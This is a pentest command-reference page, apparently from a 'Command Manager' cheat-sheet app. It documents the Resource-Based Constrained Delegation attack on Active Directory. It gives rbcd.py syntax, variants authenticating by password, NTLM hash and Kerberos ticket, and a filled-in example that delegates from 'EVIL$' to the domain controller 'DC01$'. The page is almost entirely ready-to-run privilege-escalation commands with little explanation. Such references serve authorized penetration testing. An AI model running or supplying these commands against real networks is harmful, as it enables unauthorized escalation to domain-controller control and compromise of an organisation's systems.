Command Manager

RBCD Attack

Configure Resource-Based Constrained Delegation (RBCD) on a target computer

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
python3
Category
Privilege Escalation / Delegation Abuse
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

python3 rbcd.py -delegate-from '<computer>' -delegate-to '<target>' -dc-ip <ip> '<domain>/<user>:<password>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

python3 rbcd.py -delegate-from '<computer>' -delegate-to '<target>' -dc-ip <ip> -hashes ':<hash>' '<domain>/<user>'

Kerberos Ticket requires Kerberos ticket

python3 rbcd.py -delegate-from '<computer>' -delegate-to '<target>' -dc-ip <ip> -k -no-pass '<domain>/<user>'

Examples

python3 rbcd.py -delegate-from 'EVIL$' -delegate-to 'DC01$' -dc-ip 192.168.1.100 'corp.local/user:password'

Tags

rbcd delegation resource-based constrained-delegation msds-allowedtoactonbehalfofotheridentity